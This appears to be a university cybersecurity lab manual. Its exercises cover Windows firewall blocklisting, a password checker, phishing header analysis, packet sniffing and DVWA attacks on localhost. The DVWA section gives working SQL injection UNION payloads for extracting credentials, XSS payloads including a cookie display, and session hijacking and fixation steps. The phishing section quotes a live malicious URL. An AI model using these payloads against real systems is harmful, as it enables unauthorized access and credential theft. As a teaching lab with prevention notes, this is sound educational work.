Activity-1

Experiment: Basic Firewall Configuration

Windows Defender Firewall filters incoming and outgoing network traffic using predefined rules. By default, it allows most standard traffic and only asks permission when an application tries to connect in a non-standard way. However, it does not automatically block known malicious IP addresses. To improve security, we can manually add firewall rules and also automate rule creation using a script that blocks a list of known malicious IPs.

Software Requirements:

- Python 3.x
- Windows OS
- PowerShell
- Internet Connection
- Visual Studio Code / Any Python IDE

Manual Firewall Configuration (Inbound Rule):

This part explains how to manually block a specific IP using the Windows Firewall GUI.

Steps:

1. Open Windows Defender Firewall with Advanced Security.
2. Click on Inbound Rules.
3. Click New Rule, on the right panel.
4. Select Custom and click Next.
5. Choose All Programs → Click Next.
6. Protocol and Ports: Keep default → Click Next.
7. Scope:
   o Under Remote IP address, select These IP addresses.
   o Click Add and enter the IP you want to block (example: 1.2.3.4).
   o Click OK → Next.
8. Action: Select Block the connection → Next.
9. Profile: Select Domain, Private, Public → Next.
10. Name the rule (example: Manual_Block_IP) → Finish.

This rule will now block all incoming traffic from that specific IP.

Automated Firewall Configuration (Using Python Script):

Instead of blocking one IP, the script downloads a list of malicious IPs and blocks all of them automatically.

Problem Statement:

Write a Python program that downloads a list of malicious IP addresses from a trusted online source and automatically creates firewall rules to block those IPs from accessing the system.

Program: (File name: firewall.py)

```
import requests, csv, subprocess


# source: Abuse CH

response = requests.get(

    "https://feodotracker.abuse.ch/downloads/ipblocklist.csv"

).text


rule = 'netsh advfirewall firewall delete rule name="BadIP"'

subprocess.run(["PowerShell", "-Command", rule])


mycsv = csv.reader(

    filter(lambda x: not x.startswith("#"), response.splitlines())

)


for row in mycsv:

    ip = row[1]

    if ip != "dst_ip":

        print("Added Rule to block:", ip)

        rule = "netsh advfirewall firewall add rule name='BadIP' Dir=Out Action=Block RemoteIP=" + ip

        subprocess.run(["PowerShell", "-Command", rule])
```

Sample Output:

```
Added Rule to block: 45.9.148.221
Added Rule to block: 103.17.48.5
Added Rule to block: 185.234.219.12
```

Execution Steps:

1. Open Command Prompt and select Run as Administrator.
   (Firewall rules require admin rights.)
2. Navigate to the folder where firewall.py is saved.
   Example: cd C:\Users\YourName\Desktop

3. Make sure Python is installed:
   python --version

4. Install required library (if not already installed):
   python -m pip install requests

5. Execute the program:
   python firewall.py

6. Output will appear in Command Prompt like:

```
Added Rule to block: 45.9.148.221
Added Rule to block: 103.17.48.5
```

For every IP, you will see:

o "Added Rule to block: "
o PowerShell/Command Prompt will also show OK message for successful rule creation.

7. Cross-verify the rules:

o Open Windows Defender Firewall with Advanced Security
o Go to Outbound Rules
o Search for rule name: BadIP
o You will see many blocked IP addresses listed

Password Strength Testing using Python

Write a Python program that accepts a password from the user and checks whether it is weak, medium, or strong based on the following rules:

• Minimum 8 characters
• Must contain at least one digit
• Must contain at least one uppercase letter
• Must contain at least one lowercase letter
• Must contain at least one special character

Program: (File name: password_checker.py)

```
import re


def check_password_strength(password):

    if len(password) < 8:

        return "Weak: Password must be at least 8 characters long."


    if not any(char.isdigit() for char in password):

        return "Weak: Password must include at least one number."
    if not any(char.isupper() for char in password):
        return "Weak: Password must include at least one uppercase letter."

    if not any(char.islower() for char in password):
        return "Weak: Password must include at least one lowercase letter."

    if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
        return "Medium: Add special characters to make your password stronger."

    return "Strong: Your password is secure!"

def password_checker():
    print("Welcome to the Password Strength Checker!")

    while True:
        password = input("\nEnter your password (or type 'exit' to quit): ")

        if password.lower() == "exit":
            print("Thank you for using the Password Strength Checker! Goodbye!")
            break

        result = check_password_strength(password)
        print(result)

if __name__ == "__main__":
    password_checker()
```

Execution Steps:-

1. Open Command Prompt or VS Code Terminal.
2. Navigate to the folder where password_checker.py is saved

3. Run the program:
   python password_checker.py

The program will display:

Welcome to the Password Strength Checker!
Enter your password (or type 'exit' to quit):

4. Type a password and press Enter.
5. The program will display whether the password is:

o Weak
o Medium
o Strong

6. To stop the program, type:
   exit

Sample Input & Output:

Input:
Enter your password: abc123

Output:
Weak: Password must be at least 8 characters long.

Input:
Enter your password: Abcdef12

Output:
Medium: Add special characters to make your password stronger.

Input:
Enter your password: Abc@1234

Output:
Strong: Your password is secure!

Experiment: Analyzing Phishing Emails

To analyze a suspicious email using EML Analyzer and VirusTotal and identify whether it is phishing based on technical indicators.

Tools Used:

- Online EML Analyzer
- VirusTotal
- Sample file: 2020-05-05-phishing-email-example-01.eml

Questions to Answer:

1. What is the full email address of the sender?

2. What domain is used to send this email?
3. What is the sender’s IP address from the header?
4. Is the sender IP blacklisted?
5. What is the result of SPF authentication?
6. What is one suspicious URL found in the email body?

Part A: EML Analyzer Results

The file 2020-05-05-phishing-email-example-01.eml was uploaded to the EML Analyzer.

EML Analyzer Results:

Key Observations:

• Subject: Warning: Final Notice
• From: malware-traffic-analysis.net Support sues@nnwifi.com
• To: brad@malware-traffic-analysis.net
• Content Type: text/html
• Message-ID: Missing

Header Analysis:

• Sender IP: 94.100.31.27
• Reverse DNS: 94-100-31-27.static.hvvc.us
• Mail Server: mail.nnwifi.com

Authentication:

• SPF: Failed
• DKIM: Not signed
• DMARC: Not aligned

Part B: VirusTotal Analysis

The sender IP 94.100.31.27 was checked on VirusTotal.

VirusTotal Result:

• Detection Ratio: 1 / 93 vendors flagged as malicious
• Location: Netherlands
• ASN: AS29802 (HVC-AS)

This means the IP is not widely blacklisted but has suspicious reputation.

Suspicious Link Identified

From EML Analyzer, the following URL was extracted:

https://servervirto.com.co/ed/trn/update?email=brad@malware-traffic-analysis.net

Reasons it is suspicious:

• Does not match sender domain (nnwifi.com)
• Uses foreign domain (.com.co)
• Requests confirmation of ownership (credential harvesting pattern)

Answers to Given Questions

1. Full sender email address: sues@nnwifi.com
2. Domain used to send the email: nnwifi.com
3. Sender’s IP address: 94.100.31.27
4. Is sender IP blacklisted? : Yes (1/93 vendors flagged it as malicious in VirusTotal)
5. SPF authentication result: Fail
6. One suspicious URL in email body: https://servervirto.com.co/ed/trn/update?email=brad@malware-traffic-analysis.net

Conclusion:-

Phishing indicators found:

• Urgent subject: “Warning: Final Notice”
• Fake display name pretending to be malware-traffic-analysis.net
• Actual sender domain is unrelated (nnwifi.com)
• SPF authentication failed
• Message-ID missing
• HTML-only email
• Suspicious external link
• IP partially flagged by VirusTotal

Final Verdict:-

This email is classified as PHISHING.

Packet Sniffing and Network Traffic Analysis

In this experiment, live network packets are captured, analyzed, and examined to understand what information an attacker can see. A local HTTP server running on port 8080 is used. Since HTTP is not encrypted, all transmitted data can be viewed in plain text by anyone who captures the traffic. Tools like tcpdump are used to capture the packets, and Wireshark is used to analyze them.

Requirements

• Kali Linux (in Oracle VM VirtualBox) [comes with built-in Wireshark]
• Local HTTP Server (Python)

Procedure:

Step 1: Open Kali Linux.

Step 2: Open Terminal in Kali Linux.

Step 3:
Start a local HTTP server on port 8080 using:

```
python3 -m http.server 8080
```

Step 4:
In another new terminal start packet capture:

```
sudo tcpdump -i any -w capture.pcap port 8080
```

Step 5:
Open Firefox in Kali Linux and go to:

http://localhost:8080

Refresh the page to generate traffic.

Step 6:
Go back to tcpdump terminal.
Stop packet capturing by using Ctrl + C.
It will stop and show how many packets were captured.
The packets are saved as capture.pcap.

Step 7:

- Click the Kali Linux dragon icon (top left).
- Type: File Manager and open it.
- Your Home folder will open.
- You will see the file: capture.pcap.

Step 8:-

- Since Wireshark is pre-installed in Kali, just double-click capture.pcap.
- The file will open directly in Wireshark for analysis.

Step 9:-

Filter Login Packets

In Wireshark filter bar, type:

```
http.request.method == "POST"
```

Press Enter.

Now only important packets will show.

Step 10:-

Click on any one of the packet and the following data is displayed.

Browser details such as OS, browser version, language, and visited URLs are visible. If a form is submitted, username and password can be seen in plain text. This proves HTTP is insecure.

Conclusion :-

Packets were successfully captured and analyzed. Sensitive data is visible when HTTP is used. Packet sniffing and network traffic analysis show that unencrypted communication is unsafe. HTTPS is necessary to protect data.

SQL Injection Attack – Cyber Security Lab Experiment

Target: Damn Vulnerable Web Application / WebGoat
Platform: Kali Linux
Attack Type: SQL Injection (Authentication Bypass, Data Extraction)

⚠ This experiment must be performed only on intentionally vulnerable applications such as DVWA or WebGoat in a controlled lab environment.

---

1. Aim of the Experiment

To understand how SQL Injection vulnerabilities occur and how attackers exploit improper input validation to bypass authentication and extract database information.

---

2. Requirements

• Kali Linux (VM or bare metal)
• DVWA or WebGoat
• Apache & MySQL (MariaDB)
• Web browser (Firefox)
• Basic SQL knowledge

---

3. Setting Up DVWA in Kali Linux

Step 1: Install DVWA

```
sudo apt update
```

```
sudo apt install dvwa -y
```

Step 2: Start Required Services

```
sudo service apache2 start
```

```
sudo service mysql start
```

Step 3: Configure DVWA

Edit config file:

```
sudo nano /etc/dvwa/config.inc.php
```

Ensure:

```
$_DVWA['db_password'] = '';
```

Save and exit.

Step 4: Open DVWA in Browser (Firefox)

Open:

http://127.0.0.1/dvwa

Login credentials:

- Username: admin
- Password: password

Click **Create / Reset Database**

Step 5: Set Security Level

- Go to DVWA Security
- Set Security Level = Low
- Click Submit

---

4. SQL Injection Attack on DVWA

Step 6: Navigate to SQL Injection Module

DVWA → Vulnerabilities → SQL Injection

You will see an input box asking for User ID.

---

5. Basic SQL Injection Test

Step 7: Normal Input

1

✓ Displays user details normally

Step 8: Authentication Bypass

Enter:

1' OR '1'='1

✓ Result: All user records are displayed
✓ Confirms SQL Injection vulnerability

---

6. SQL Injection – Database Enumeration

Step 9: Find Number of Columns

1' ORDER BY 1-- -

1' ORDER BY 2-- -

1' ORDER BY 3-- -

Stop when error occurs.
Last successful number = total columns

Step 10: UNION-Based Injection

1' UNION SELECT 1,2-- -

Step 11: Extract Database Name

1' UNION SELECT database(),2-- -

Step 12: Extract Table Names

1' UNION SELECT table_name,2

FROM information_schema.tables

WHERE table_schema=database()-- -

Step 13: Extract Column Names

1' UNION SELECT column_name,2

FROM information_schema.columns

WHERE table_name='users'-- -

Step 14: Extract Username & Password

1' UNION SELECT user,password FROM users-- -

✓ Passwords may appear as hashes.

---

8. Result

The SQL Injection attack was successfully performed, demonstrating:

• Authentication bypass
• Unauthorized data access
• Poor input validation vulnerability

---

9. Conclusion

This experiment proves that:

- Unsanitized user input leads to SQL Injection
- Attackers can extract sensitive database information
- Proper security controls are mandatory

---

10. Prevention Techniques (Write in Viva)

- Prepared Statements (Parameterized Queries)
- Input Validation & Sanitization
- Stored Procedures
- Web Application Firewalls (WAF)
- Least Privilege Database Access

---

11. Viva Questions (Short Answers)

1. What is SQL Injection?
SQL Injection is a web security vulnerability where an attacker inserts malicious SQL code into input fields to manipulate database queries.

2. Why does ' OR '1'='1 work?
Because '1'='1' is always true, it makes the WHERE condition true for all rows, bypassing authentication checks.

3. Difference between Union-based and Error-based SQLi?
Union-based SQLi uses the UNION operator to combine results and extract data.
Error-based SQLi uses database error messages to gather information about the database structure.

4. What is information_schema?
information_schema is a system database in MySQL that stores metadata about databases, tables, and columns.

5. How to prevent SQL Injection?
By using parameterized queries, input validation, least privilege access, and secure coding practices.

Lab Experiment: Finding & Exploiting XSS Vulnerabilities using DVWA on Kali Linux

Aim

To identify and exploit Cross-Site Scripting (XSS) vulnerabilities in a vulnerable web application (DVWA) using Kali Linux.

Requirements

- Kali Linux
- Damn Vulnerable Web Application
- Browser (Firefox/Chromium)
- Apache & MySQL running

Step 1: Start DVWA Services

Open terminal:

sudo service apache2 start

sudo service mysql start

Open browser and go to:

http://localhost/dvwa

Login:

- Username: admin
- Password: password

Click **DVWA Security** → set level to **Low** → Submit.

Step 2: Understanding XSS

XSS allows attackers to inject JavaScript code into a webpage that runs in another user's browser.

Types in DVWA:

- Reflected XSS
- Stored XSS
- DOM Based XSS

Step 3: Reflected XSS Test

Go to:

DVWA → XSS (Reflected)

In the input box, type:

<script>alert('XSS')</script>

Click Submit.

Output:

You will see a popup alert → XSS vulnerability confirmed.

Step 4: Stored XSS Test

Go to:

DVWA → XSS (Stored)

Fill the form:

Name:

```
<h1>Hacked</h1>
```

Message:

```
<script>alert('Stored XSS')</script>
```

Click **Sign Guestbook**.

Refresh page → popup appears every time → Stored XSS successful.

Step 5: DOM Based XSS

Go to:

DVWA → XSS (DOM)

In the URL bar add:

```
#<script>alert('DOM XSS')</script>
```

Press Enter → popup appears.

Step 6: Capture Cookie (Lab Demo)

In Stored XSS Message box:

```
<script>alert(document.cookie)</script>
```

This shows session cookies (demonstration of session theft risk).

Step 7: Change Security Level

Go to DVWA Security → set:

- Medium
- High

Repeat the same payloads → observe how filtering and input validation block them.

Result

XSS vulnerabilities were successfully identified and exploited in DVWA under Low security level. Higher security levels demonstrated how proper filtering and sanitization help prevent XSS attacks.

LAB EXPERIMENT

Testing Authentication Weaknesses and Session Management Using Kali Linux & DVWA

AIM

To identify and analyze authentication weaknesses and session management vulnerabilities using **Damn Vulnerable Web Application (DVWA)** in **Kali Linux**.

REQUIREMENTS

Software

- Kali Linux
- Damn Vulnerable Web Application (Pre-installed on lab systems)
- Web Browser (Firefox)

Hardware

- Computer System with Internet Disabled (Lab Setup)

THEORY

Authentication Weakness

Authentication ensures that only valid users can log in. Weak authentication occurs due to:

- Weak passwords
- No account lockout
- Brute force vulnerability
- Default credentials

Session Management

Session management handles user sessions using session IDs. Improper session handling leads to:

- Session hijacking
- Session fixation
- Reuse of old session IDs
- Insecure cookies

PROCEDURE

PART A: Launch DVWA

Step 1: Start Required Services

Open terminal and start Apache and MySQL:

sudo service apache2 start

sudo service mysql start

Step 2: Open DVWA in Browser

Open Firefox and enter:

http://127.0.0.1/dvwa

Step 3: Login to DVWA

Use default credentials:

- **Username:** admin
- **Password:** password

Step 4: Set Security Level

- Go to **DVWA Security**
- Select **LOW**
- Click **Submit**

PART B: Testing Authentication Weaknesses

Experiment 1: Weak Password Authentication

Step 1: Open Brute Force Module

Navigate to:

DVWA → Vulnerabilities → Brute Force

Step 2: Try Common Passwords

Enter:

- **Username:** admin
- **Password:** password

Observation

Successful login indicates weak authentication.

Experiment 2: Manual Brute Force Attack

Step 1: Enter Username (Same Every Time)

In Username field, type:

admin

Do NOT change username.

Step 2: Try Passwords ONE BY ONE

This is the **manual brute force**.

Attempt 1

- Username: admin
- Password: admin
- Click Login

✕ If it fails → try next password

Attempt 2

- Username: admin
- Password: 123456
- Click Login

✕ If it fails → try next password

Attempt 3

- Username: admin
- Password: password
- Click Login

✓ LOGIN SUCCESSFUL

Step 3: Observe What Happened

- DVWA did NOT block you
- DVWA did NOT lock account

- DVWA allowed unlimited attempts

This is called **Brute Force Vulnerability**.

PART C: Testing Session Management Vulnerabilities

Experiment 3: Session ID Analysis

Step 1: Login to DVWA

Open browser developer tools:

Right Click → Inspect → Storage → Cookies

Step 2: Observe Session Cookie

Look for:

PHPSESSID

Observation

Session ID is visible and not encrypted.

Example:

PHPSESSID : 5f6194766020dcaa2c906358cbd2941b

Experiment 4: Session Hijacking

BEFORE YOU START (IMPORTANT)

- DVWA Security Level = LOW
- You are logged in as admin in DVWA

Step 1: Open DVWA (Victim Session)

1. Open Firefox
2. Go to: http://127.0.0.1/dvwa
3. Login:
    - Username: admin
    - Password: password
4. Stay logged in (do NOT logout)

This browser is the **Victim**.

Step 2: Copy the Session ID (PHPSESSID)

1. Right click → Inspect
2. Click **Storage tab**
3. Click **Cookies**
4. Select: http://127.0.0.1
5. Copy value of:

PHPSESSID   a8c9f7e3d4b1...

This value is the session ID (user identity).

Step 3: Open Attacker Browser (Private Window)

Press:

Ctrl + Shift + P

Do NOT login here.

Step 4: Paste Session ID in Attacker Browser

1. In Private Window, go to: http://127.0.0.1/dvwa
2. Right click → Inspect
3. Storage → Cookies
4. Click: http://127.0.0.1
5. Find PHPSESSID
6. Replace its value with copied session ID
7. Press Enter

Step 5: Refresh Page

Press:

F5

✓ You are logged in as admin without username or password.

Result

Attacker gains access without login → **Session Hijacking**.

Experiment 5: Session Fixation

IMPORTANT CONDITIONS

- DVWA Security Level = LOW
- Use only ONE normal browser window
- Do NOT use Private Window

Step 1: Open DVWA WITHOUT Login

Go to:

http://127.0.0.1/dvwa/

Do NOT login.

Step 2: Note Session ID (Before Login)

Inspect → Storage → Cookies → http://127.0.0.1

Example:

PHPSESSID = 5f6194766020dcaa2c906358cbd2941b

Step 3: Login WITHOUT Closing Browser

In the same window:

- Username: admin
- Password: password
- Click Login

Step 4: Check Session ID AGAIN

Inspect → Storage → Cookies → http://127.0.0.1

OBSERVE CAREFULLY

Case 1 (VULNERABLE – DVWA LOW)

Before Login:
5f6194766020dcaa2c906358cbd2941b

After Login:
5f6194766020dcaa2c906358cbd2941b

Same value → **Session Fixation exists**

Case 2 (SECURE – DVWA HIGH / IMPOSSIBLE)

Before Login:
5f6194766020dcaa2c906358cbd2941b

After Login:
be2d584526b42fef6742d5cf95ce008f

Session regenerated → No session fixation

Experiment 6: Improper Logout / Session Reuse

CONDITIONS

- DVWA Security Level = LOW
- Must know how to view cookies

Step 1: Login Normally

Go to:

http://127.0.0.1/dvwa/

Login:

- Username: admin
- Password: password

Step 2: Copy Session ID

Inspect → Storage → Cookies → http://127.0.0.1

Copy:

PHPSESSID = be2d584526b42fef6742d5cf95ce008f

(Screenshot 1: PHPSESSID before logout)

Step 3: Logout from DVWA

Click **Logout**

You will see login page.

Step 4: Reuse OLD Session ID

Option A (Exam-Safe Method)

1. Open Private Window (Ctrl + Shift + P)

2. Go to: http://127.0.0.1/dvwa/
3. Inspect → Storage → Cookies
4. Paste OLD PHPSESSID
5. Press Enter

Step 5: Open Internal Page (KEY STEP)

In address bar, type:

http://127.0.0.1/dvwa/index.php

OR

http://127.0.0.1/dvwa/vulnerabilities/brute/

Do NOT login.
Do NOT enter credentials.

EXPECTED RESULT (DVWA LOW)

✓ Logged in again
✓ Without login
✓ Using old session ID

Logout did NOT destroy session.

OBSERVATIONS & RESULTS

Test Case	**Result**
Brute Force Attack	Weak Password Login Successful
Unlimited Attempts	Allowed
Session ID Exposure	Found
Session Hijacking	Possible
Session Fixation	Observed
Improper Logout	Observed

Authentication and session management vulnerabilities were successfully identified in **Damn Vulnerable Web Application** using **Kali Linux**.

This experiment demonstrates the importance of secure authentication and proper session handling to prevent unauthorized access.

VIVA VOCE QUESTIONS

1. What is authentication?
2. What is brute force attack?
3. What is session hijacking?
4. What is session fixation?
5. How can session attacks be prevented?